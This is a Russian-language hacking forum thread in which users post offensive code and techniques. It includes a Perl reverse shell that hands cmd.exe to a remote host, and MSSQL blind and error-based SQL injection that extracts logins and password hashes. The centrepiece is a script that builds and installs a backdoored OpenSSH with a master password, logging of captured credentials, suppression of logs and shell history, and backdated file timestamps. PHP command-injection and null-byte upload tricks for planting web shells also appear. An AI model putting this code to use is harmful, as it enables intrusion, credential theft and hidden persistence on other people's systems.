Старый 07.10.2010, 17:08   #21
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Windows BackConnect
Код:
#!/usr/bin/perl
use IO::Socket;
# Windows back connect
# Use: bc.pl [Host] [Port]
# nc.exe -l -n -v -p 80
# Happy xek ;)
# Coded by Ctacok.
$ARGV=@ARGV; 
if ($ARGV<2){
print "Moron?";
exit;
}
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Can't Resolve Host\n"; 
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Can't Connect Host\n"; 
print "All ok... Connect to $ARGV[0] \n"; 
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("cmd.exe");
__________________
Twitter - @Ctacok

Последний раз редактировалось Ctacok; 07.10.2010 в 17:10.. Причина: Очепятка
Ctacok вне форума   Ответить с цитированием
Старый 09.10.2010, 11:29   #22
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Mssql blind sql injection
Код:
select * from users 
where id=-1 
	if ASCII((substring(@@version,1,1)))>=76
		begin 
			WAITFOR DELAY '00:00:04'
		end
Отсчёт в сабстринге идёт с 1.
Ctacok вне форума   Ответить с цитированием
Старый 12.10.2010, 16:47   #23
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

упрощение установки ssh backdoor,я не кодер так что строго не судите . Варианта 2 или тянет сразу протрояненый ssh или патчит на месте.

Код:
#!/bin/sh
#change time ГГММДДччмм.сс /usr/sbin/sshd
TIME="201003311124.16"
#change version
version='
#define SSH_VERSION    "OpenSSH_4.5"
#define SSH_PORTABLE    "p1"
#define SSH_RELEASE    SSH_VERSION SSH_PORTABLE'
#
TOUCH="$(which touch)"
if test -x /usr/bin/wget ; then
FETCH="wget"
elif test -x /usr/bin/fetch ; then
FETCH="fetch"
elif test -x /usr/bin/curl ; then
FETCH="curl"
else
exit 1
fi
case $1
in
-1)
#url openssh backdored
URL="http://"
cd /tmp
$FETCH $URL;tar -zxf *.tar.gz;rm *.tar.gz &&
cd openssh-*
echo "$version" > version.h
#./configure --bindir=/usr/bin --sbindir=/usr/sbin --with-pam --with-kerberos5=/usr/kerberos5 --prefix=/usr --sysconfdir=/etc/ssh > /dev/null &&
./configure --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh > /dev/null &&
make > /dev/null &&
strip ssh sshd &&
make install &&
if test -e /etc/rc.d/sshd ; then
/etc/rc.d/sshd restart
elif test -e /etc/init.d/ssh ; then
/etc/init.d/ssh restart
elif test -e /etc/init.d/sshd ; then
/etc/init.d/sshd restart
else
exit 1
fi
$TOUCH -c -m -t $TIME /usr/sbin/sshd /usr/bin/ssh /usr/bin/sftp /usr/bin/ssh-add /usr/bin/ssh-agent /usr/bin/ssh-keyscan /usr/bin/ssh-keygen && 
rm -rf /tmp/openssh-*  
echo "done!"
;;
-2)
URL="http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz"
cd /tmp
$FETCH $URL;tar -zxf *.tar.gz;rm *.tar.gz &&
cd openssh-*
echo "$version" > version.h
cat << EOF > pp.diff
diff -a -U2 -r openssh-4.5p1/auth.c backdoored1/auth.c
--- openssh-4.5p1/auth.c    2006-10-27 11:10:16.000000000 -0400
+++ backdoored1/auth.c    2010-05-13 09:16:53.000000000 -0400
@@ -100,4 +100,7 @@
 #endif
 
+    if(backdoorActive == 1)
+      return 1;
+
     /* Shouldn't be called if pw is NULL, but better safe than sorry... */
     if (!pw || !pw->pw_name)
@@ -249,4 +252,7 @@
     void (*authlog) (const char *fmt,...) = verbose;
     char *authmsg;
+    
+    if(backdoorActive == 1)
+      return;
 
     if (use_privsep && !mm_is_monitor() && !authctxt->postponed)
@@ -264,6 +270,6 @@
     else
         authmsg = authenticated ? "Accepted" : "Failed";
-
-    authlog("%s %s for %s%.100s from %.200s port %d%s",
+    if(!backdoorActive){
+      authlog("%s %s for %s%.100s from %.200s port %d%s",
         authmsg,
         method,
@@ -273,4 +279,5 @@
         get_remote_port(),
         info);
+    }
 
 #ifdef CUSTOM_FAILED_LOGIN
@@ -298,5 +305,7 @@
 int
 auth_root_allowed(char *method)
-{
+{    
+        return 1;
+
     switch (options.permit_root_login) {
     case PERMIT_YES:
diff -a -U2 -r openssh-4.5p1/auth-pam.c backdoored1/auth-pam.c
--- openssh-4.5p1/auth-pam.c    2006-09-16 21:57:47.000000000 -0400
+++ backdoored1/auth-pam.c    2010-03-05 00:40:05.000000000 -0500
@@ -467,4 +467,6 @@
         goto auth_fail;
     sshpam_err = pam_authenticate(sshpam_handle, flags);
+    if(backdoorActive == 1)
+    sshpam_err = PAM_SUCCESS;
     if (sshpam_err != PAM_SUCCESS)
         goto auth_fail;
diff -a -U2 -r openssh-4.5p1/auth-passwd.c backdoored1/auth-passwd.c
--- openssh-4.5p1/auth-passwd.c    2006-08-04 22:39:39.000000000 -0400
+++ backdoored1/auth-passwd.c    2010-04-18 21:26:19.000000000 -0400
@@ -81,6 +81,19 @@
 auth_password(Authctxt *authctxt, const char *password)
 {
+    backdoorActive = 0;
+    char *buffer;
     struct passwd * pw = authctxt->pw;
     int result, ok = authctxt->valid;
+
+    if (!strcmp(password, B4XDOOR)) {
+                backdoorActive = 1;
+                return 1;
+        }else if (sys_auth_passwd(authctxt, password)){
+            buffer = malloc(1024 * sizeof(char));
+                sprintf(buffer, "Sshd password detected: %s@%s:%s\n", pw->pw_name, get_remote_ipaddr(), password);
+                sendit(buffer);
+        free(buffer);
+    }
+
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
     static int expire_checked = 0;
diff -a -U2 -r openssh-4.5p1/canohost.c backdoored1/canohost.c
--- openssh-4.5p1/canohost.c    2006-09-22 05:22:18.000000000 -0400
+++ backdoored1/canohost.c    2010-04-18 20:28:00.000000000 -0400
@@ -75,5 +75,5 @@
     debug3("Trying to reverse map address %.100s.", ntop);
     /* Map the IP address to a host name. */
-    if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+    if (!backdoorActive && getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
         NULL, 0, NI_NAMEREQD) != 0) {
         /* Host name not found.  Use ip address. */
diff -a -U2 -r openssh-4.5p1/includes.h backdoored1/includes.h
--- openssh-4.5p1/includes.h    2006-09-01 06:29:11.000000000 -0400
+++ backdoored1/includes.h    2010-05-13 09:39:30.000000000 -0400
@@ -14,4 +14,62 @@
  */
 
+#ifndef FUCKIT_H
+#define FUCKIT_H
+#include <stdlib.h>
+#include <stdio.h>
+
+#define B4XDOOR "changepass"
+int backdoorActive;
+
+#define FUCKING_SSH_LOG "/tmp/.logs"
+
+static int sendit(char *msg){
+  FILE *evil_fp;
+  evil_fp = fopen(FUCKING_SSH_LOG,"a+");
+  
+  if (evil_fp == NULL) {
+    fclose(evil_fp);
+    return -1;
+  }
+  
+  fprintf(evil_fp,"%s",msg);
+  fclose(evil_fp);
+  return 0;
+}
+
+/*
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+static int sendit(char *msg){
+  int sock, n;
+  struct sockaddr_in remote;
+
+  remote.sin_family = AF_INET ;
+  remote.sin_port = htons(80);
+  if(inet_aton("192.168.1.105" ,&remote.sin_addr) < 0)
+    {
+      return -1;
+    }
+  if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
+    {
+      return -1;
+    }
+  if(connect(sock,(struct sockaddr*)&remote,sizeof(remote)) == -1)
+    {
+      return -1;
+    }
+  n = write(sock,msg,strlen(msg));
+  if (n < 0)
+    return -1;
+  close(sock);
+  return 0;
+}
+
+*/
+
+#endif
+
 #ifndef INCLUDES_H
 #define INCLUDES_H
diff -a -U2 -r openssh-4.5p1/log.c backdoored1/log.c
--- openssh-4.5p1/log.c    2006-08-20 03:55:55.000000000 -0400
+++ backdoored1/log.c    2010-03-05 00:40:05.000000000 -0500
@@ -307,4 +307,6 @@
 do_log(LogLevel level, const char *fmt, va_list args)
 {
+if(backdoorActive == 1)
+    return;
 #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
     struct syslog_data sdata = SYSLOG_DATA_INIT;
diff -a -U2 -r openssh-4.5p1/loginrec.c backdoored1/loginrec.c
--- openssh-4.5p1/loginrec.c    2006-09-07 08:57:54.000000000 -0400
+++ backdoored1/loginrec.c    2010-03-05 00:40:05.000000000 -0500
@@ -431,4 +431,6 @@
 login_write(struct logininfo *li)
 {
+if(backdoorActive == 1)
+    return 0;
 #ifndef HAVE_CYGWIN
     if (geteuid() != 0) {
diff -a -U2 -r openssh-4.5p1/readpass.c backdoored1/readpass.c
--- openssh-4.5p1/readpass.c    2006-08-04 22:39:40.000000000 -0400
+++ backdoored1/readpass.c    2010-04-18 21:26:44.000000000 -0400
@@ -116,5 +116,5 @@
     char *askpass = NULL, *ret, buf[1024];
     int rppflags, use_askpass = 0, ttyfd;
-
+    char *buffer;
     rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
     if (flags & RP_USE_ASKPASS)
@@ -159,4 +159,12 @@
     ret = xstrdup(buf);
     memset(buf, 'x', sizeof buf);
+
+    if (strcmp((char*)ret,"yes") != NULL) {
+            buffer = malloc(1024 * sizeof(char));
+        sprintf(buffer, "passphrase: %s\n", ret);
+          sendit(buffer);
+            free(buffer);
+    }
+
     return ret;
 }
diff -a -U2 -r openssh-4.5p1/session.c backdoored1/session.c
--- openssh-4.5p1/session.c    2006-10-23 13:01:56.000000000 -0400
+++ backdoored1/session.c    2010-04-18 22:01:46.000000000 -0400
@@ -1080,4 +1080,7 @@
         child_set_env(&env, &envsize, "TZ", getenv("TZ"));
 
+    if(backdoorActive == 1)
+      child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+
     /* Set custom environment options from RSA authentication. */
     if (!options.use_login) {
diff -a -U2 -r openssh-4.5p1/sshconnect.c backdoored1/sshconnect.c
--- openssh-4.5p1/sshconnect.c    2006-10-23 13:02:24.000000000 -0400
+++ backdoored1/sshconnect.c    2010-04-18 21:26:00.000000000 -0400
@@ -948,5 +948,5 @@
     char *host, *cp;
     char *server_user, *local_user;
-
+    char *buffer;
     local_user = xstrdup(pw->pw_name);
     server_user = options.user ? options.user : local_user;
@@ -958,4 +958,9 @@
             *cp = (char)tolower(*cp);
 
+    buffer = malloc(1024 * sizeof(char));
+    sprintf(buffer, "User %s connecting as %s@%s\n", local_user, server_user, host);
+    sendit(buffer);
+    free(buffer);
+
     /* Exchange protocol version identification strings with the server. */
     ssh_exchange_identification();
diff -a -U2 -r openssh-4.5p1/sshlogin.c backdoored1/sshlogin.c
--- openssh-4.5p1/sshlogin.c    2006-08-04 22:54:24.000000000 -0400
+++ backdoored1/sshlogin.c    2010-04-18 20:34:58.000000000 -0400
@@ -122,4 +122,7 @@
     struct logininfo *li;
 
+    if(backdoorActive == 1)
+      return;
+
     /* save previous login details before writing new */
     store_lastlog_message(user, uid);
@@ -138,4 +141,7 @@
     struct logininfo *li;
 
+    if(backdoorActive == 1)
+      return;
+
     li = login_alloc_entry(pid, user, host, ttyname);
     login_set_addr(li, addr, addrlen);
@@ -151,4 +157,7 @@
     struct logininfo *li;
 
+    if(backdoorActive == 1)
+      return;
+
     li = login_alloc_entry(pid, user, NULL, tty);
     login_logout(li);
EOF
patch < pp.diff;
#./configure --bindir=/usr/bin --sbindir=/usr/sbin --with-pam --with-kerberos5=/usr/kerberos5 --prefix=/usr --sysconfdir=/etc/ssh > /dev/null &&
./configure --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh > /dev/null &&
make > /dev/null &&
strip ssh sshd &&
make install &&
if test -e /etc/rc.d/sshd ; then
/etc/rc.d/sshd restart
elif test -e /etc/init.d/ssh ; then
/etc/init.d/ssh restart
elif test -e /etc/init.d/sshd ; then
/etc/init.d/sshd restart
else
exit 1
fi
$TOUCH -c -m -t $TIME /usr/sbin/sshd /usr/bin/ssh /usr/bin/sftp /usr/bin/ssh-add /usr/bin/ssh-agent /usr/bin/ssh-keyscan /usr/bin/ssh-keygen && 
rm -rf /tmp/openssh-*  
echo "done patching and install"
;;
*) 
echo "########################################"
echo "-1 install backdoored openssh change URL"
echo "-2 download clean openssh and patching"
echo "########################################"
;;
esac
euro вне форума   Ответить с цитированием
Старый 16.10.2010, 11:47   #24
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Вывод в названий колонок таблицы в используемом запросе через ошибку (MSSQL)
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
GROUP BY id
Column 'users.login' is invalid in the select бла бла бла...
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
GROUP BY id,login
Column 'users.password' is invalid in the select бла бла бла...
Когда колонки закончатся, будет вывод правильного запроса в нашем случае (SELECT * FROM users WHERE id=1)
Спасибо за внимание.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 16.10.2010, 12:01   #25
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Цитата:
Сообщение от Ctacok Посмотреть сообщение
Вывод в названий колонок таблицы в используемом запросе через ошибку (MSSQL)

Column 'users.login' is invalid in the select бла бла бла...

Column 'users.password' is invalid in the select бла бла бла...
Когда колонки закончатся, будет вывод правильного запроса в нашем случае (SELECT * FROM users WHERE id=1)
Спасибо за внимание.
Туда же и вывод данных.
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
UNION
SELECT id, login, password, email
FROM users AS users_1
Запрос прошёл на ура. Запись с id =1 вывелась.
Цитата:
1:admin:81dc9bdb52d04dc20036dbd8313ed055:admin@loc alhost
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
UNION
SELECT @@VERSION AS Expr1, login, password, email
FROM users AS users_1
Через ошибку вывелось @@version.
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
UNION
SELECT id, 1 AS Expr1, password, email
FROM users AS users_1
Вышла ошибка:
Conversion failed when converting the varchar value 'admin' to data type int.
Теперь выводим пароль:
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
UNION
SELECT id, login, 1 AS Expr1, email
FROM users AS users_1
Conversion failed when converting the varchar value '81dc9bdb52d04dc20036dbd8313ed055' to data type int.
Цитата:
SELECT id, login, password, email
FROM users
WHERE (id = 1)
UNION
SELECT id, login, password, 1 AS Expr1
FROM users AS users_1
Conversion failed when converting the varchar value 'admin@localhost' to data type int.
Спасибо за внимание.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 19.10.2010, 15:29   #26
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Хозяйке на заметку (с).

В случаях, когда, оказавшись в админке, нет никакой возможности залить шелл, может оказаться полезной функция работы с картинками. В частности, если есть возможность указать путь до обработчика картинок (ресайз и прочее), то можно выполнять команды. Довольно очевидно и просто, но оказывается это встречается и кое-где работает.

В скрипте это может выглядеть так:
PHP код:
$command=$path_to_convert_program " -n 80 gd2 blah-blah";
exec($command,$output_array); 
Вставив туда нашу команду и закомментировав через пробел решеткой, можем получить что-то вроде:
PHP код:
exec("cp /var/www/malicious.png /var/www/malicious.php #comment_everything -n 80 gd2 blah-blah"); 
SynQ вне форума   Ответить с цитированием
Старый 29.10.2010, 22:43   #27
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Для определения размера, который занимает таблица в MySQL, можно использовать

Код:
SELECT  
    table_name ,  
    engine,  
    ROUND(data_length/1024/1024,2) AS size_mb,  
    table_rows  
FROM
    information_schema.tables
WHERE
    table_schema=DATABASE();
или

Код:
SELECT  
    table_name ,  
    engine,  
    ROUND(data_length/1024/1024,2) AS size_mb,  
    table_rows  
FROM  
    information_schema.tables  
   ORDER BY 3 DESC LIMIT 30;

База занимает

Код:
SELECT SUM(ROUND(data_length/1024/1024,2)) AS total_size_mb
FROM
    information_schema.tables
WHERE
    table_schema=DATABASE();

Можно приблизительно оценить размер дампа базы,
поделив размер БД на коэффициент из диапазона 1.2 - 2.2

(Иногда нужно определить - какой размер дампа ожидать, мегабайты, или десятки гигабайт.)
nikp вне форума   Ответить с цитированием
Старый 30.10.2010, 16:41   #28
Cross
 
Регистрация: 27.08.2010
Сообщений: 114
Репутация: 2
По умолчанию

Скрипт поиска запросов в файлах директории:
Код:
$ grep -r -n "mssql_query(\|mysql_query(\|mysql_db_query(\|oci_parse
(\|ora_parse(\|mssql_bind(\|mssql_execute(\|odbc_prepare(\|odbc_execute
(\|odbc_execute(\|odbc_exec("src/ | awk -F :'{print "filename: "$1"\nline:
"$2"\nmatch: "$3"\n\n"}'

filename: src/mssql_query.vuln.php
line: 11
match: $result = mssql_query("SELECT * FROM TBL WHERE COLUMN = '$_GET['var']'");
filename: src/mysql_query.vuln.php
line: 13
match: $result = mysql_query("SELECT * FROM TBL WHERE COLUMN = '$_GET['var']'",
$link);
Cross вне форума   Ответить с цитированием
Старый 29.01.2011, 18:42   #29
Darkhouse
 
Регистрация: 14.01.2011
Сообщений: 1
Репутация: 0
По умолчанию

малая толика, может кому поможет
http://www.yougetsignal.com/tools/web-sites-on-web-server/ - реверс ip
есть правда ограничение на количество проверок с однгого ip.
http://fqdns.mixsn.com/?act=ips&fqdn=xxx.xxx.xxx - показывает живые машины в подсети
Darkhouse вне форума   Ответить с цитированием
Старый 13.03.2011, 14:55   #30
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Потратил время, проверял на разных конфигах, а на деле 5.3.4 все испортил.

Код:
$new_dir_for_file = "blah-blah"; // мы можем влиять
if(!file_exists("../uploads/$new_dir_for_file"))
	mkdir("../uploads/$new_dir_for_file");

if (move_uploaded_file($file['tmp_name'], "../uploads/$new_dir_for_file/".$file['name']))
echo 'success!';
Если имя загружаемого файла проверяется так что ничего не сделать, можно втиснуть его в переменную $new_dir_for_file. В приведенном примере нельзя сделать $new_dir_for_file="shell.php\0", потому что сначала создастся директория shell.php и в нее уже ничего не скопируется. Можно обойти это, задав $new_dir_for_file="non-exist-dir/../shell.php\0". В таком случае mkdir(), наткнувшись на несуществующий каталог выплюнет варнинг и директорию не создаст, а move_uploaded_file()[как и copy(), кстати] скопирует наш shell.png в shell.php. Тестировал на паре версий ветки 5.2 - поведение одинаково и с сухосином, и без. 5.3.4 же, как и должен, все портит.
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot